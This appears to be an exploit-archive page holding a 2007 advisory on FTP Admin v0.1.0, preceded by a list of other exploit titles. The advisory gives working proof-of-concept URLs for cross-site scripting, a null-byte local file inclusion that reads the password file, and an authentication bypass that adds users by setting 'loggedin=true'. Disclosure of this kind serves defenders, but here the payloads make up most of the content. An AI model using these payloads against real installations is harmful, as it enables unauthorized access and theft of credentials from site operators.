477bcbdcc0
5 new exploits phpMyNewsletter <= 0.8 (beta5) - Multiple Vulnerability Exploit phpMyNewsletter <= 0.8 (beta5) - Multiple Vulnerabilities My Book World Edition NAS Multiple Vulnerability My Book World Edition NAS - Multiple Vulnerabilities Katalog Stron Hurricane 1.3.5 - Multiple Vulnerability RFI / SQL Katalog Stron Hurricane 1.3.5 - (RFI / SQL) Multiple Vulnerabilities cmsfaethon-2.2.0-ultimate.7z Multiple Vulnerability cmsfaethon-2.2.0-ultimate.7z - Multiple Vulnerabilities DynPG CMS 4.1.0 - Multiple Vulnerability (popup.php and counter.php) DynPG CMS 4.1.0 - (popup.php and counter.php) Multiple Vulnerabilities Nucleus CMS 3.51 (DIR_LIBS) - Multiple Vulnerability Nucleus CMS 3.51 (DIR_LIBS) - Multiple Vulnerabilities N/X - Web CMS (N/X WCMS 4.5) Multiple Vulnerability N/X - Web CMS (N/X WCMS 4.5) - Multiple Vulnerabilities New-CMS - Multiple Vulnerability New-CMS - Multiple Vulnerabilities Edgephp Clickbank Affiliate Marketplace Script Multiple Vulnerability Edgephp Clickbank Affiliate Marketplace Script - Multiple Vulnerabilities JV2 Folder Gallery 3.1.1 - (popup_slideshow.php) Multiple Vulnerability JV2 Folder Gallery 3.1.1 - (popup_slideshow.php) Multiple Vulnerabilities i-Gallery - Multiple Vulnerability i-Gallery - Multiple Vulnerabilities My Kazaam Notes Management System Multiple Vulnerability My Kazaam Notes Management System - Multiple Vulnerabilities Omnidocs - Multiple Vulnerability Omnidocs - Multiple Vulnerabilities Web Cookbook Multiple Vulnerability Web Cookbook - Multiple Vulnerabilities KikChat - (LFI/RCE) Multiple Vulnerability KikChat - (LFI/RCE) Multiple Vulnerabilities Webformatique Reservation Manager - 'index.php' Cross-Site Scripting Vulnerability Webformatique Reservation Manager 2.4 - 'index.php' Cross-Site Scripting Vulnerability xEpan 1.0.4 - Multiple Vulnerability xEpan 1.0.4 - Multiple Vulnerabilities AKIPS Network Monitor 15.37 through 16.5 - OS Command Injection Netwrix Auditor 7.1.322.0 - ActiveX (sourceFile) Stack Buffer Overflow Cisco UCS Manager 2.1(1b) - Shellshock Exploit OpenSSH <= 7.2p1 - xauth Injection FreeBSD 10.2 amd64 Kernel - amd64_set_ldt Heap Overflow
70 lines
1.9 KiB
Text
Executable file
70 lines
1.9 KiB
Text
Executable file
FTP Admin v0.1.0 - MULTIPLE VULNERABILITIES
|
|
by Omni
|
|
|
|
1) Infos
|
|
---------
|
|
Date : 2007-11-28
|
|
Product : FTP Admin
|
|
Version : v0.1.0
|
|
Vendor : http://sourceforge.net/projects/ftpadmin/
|
|
Vendor Status : 2007-11-30 Informed!
|
|
|
|
Description : FTP admin is a web-based user administration tool, for usage in combination with vsftpd. FTP admin
|
|
requires sudo. Features include modification of users and generation of user passwords.
|
|
|
|
Source : omnipresent - omni
|
|
E-mail : omnipresent[at]NOSPAMemail[dot]it - omni[at]NOSPAMplayhack[dot]net
|
|
Team : Playhack.net Security
|
|
|
|
2) Security Issues
|
|
-------------------
|
|
|
|
--- [ XSS ] ---
|
|
===============================================
|
|
|
|
I think that is better let you see a PoC instead of explain where is the bug.. If you want to know it just look at the
|
|
source code.
|
|
|
|
--- [ PoC ] ---
|
|
===============
|
|
|
|
http://localhost/ft/index.php?page=error&error=<b>...</b>
|
|
http://localhost/ft/index.php?page=error&error=<script>alert(1)</script>
|
|
|
|
|
|
--- [ Local File Inclusion ] ---
|
|
================================
|
|
|
|
Take a look in index.php, line 49:
|
|
include("$page.php");
|
|
|
|
Remembe that you have to log in to made local file inclusion (loggedin = true -> register_global = On)
|
|
|
|
[ Remembe that ]
|
|
if(!is_file($page . ".php") || (!is_readable($page . ".php"))) {
|
|
$page = "error";
|
|
$error = "Page does not exist or is not readable\n";
|
|
}
|
|
}
|
|
[ /Remembe that ]
|
|
|
|
--- [ PoC ] ---
|
|
===============
|
|
|
|
http://localhost/ft/index.php?page=pass.txt%00&loggedin=true
|
|
|
|
To see pass.txt ...
|
|
|
|
--- [ Admin Bypass ] ---
|
|
================================
|
|
|
|
Today I'm too lazy to explain what's wrong.. so take a look in the source code and watch the var $loggedin !!
|
|
|
|
--- [ PoC ] ---
|
|
===============
|
|
|
|
To add a user...
|
|
|
|
http://localhost/ft/index.php?page=add&loggedin=true
|
|
|
|
# milw0rm.com [2007-11-29]
|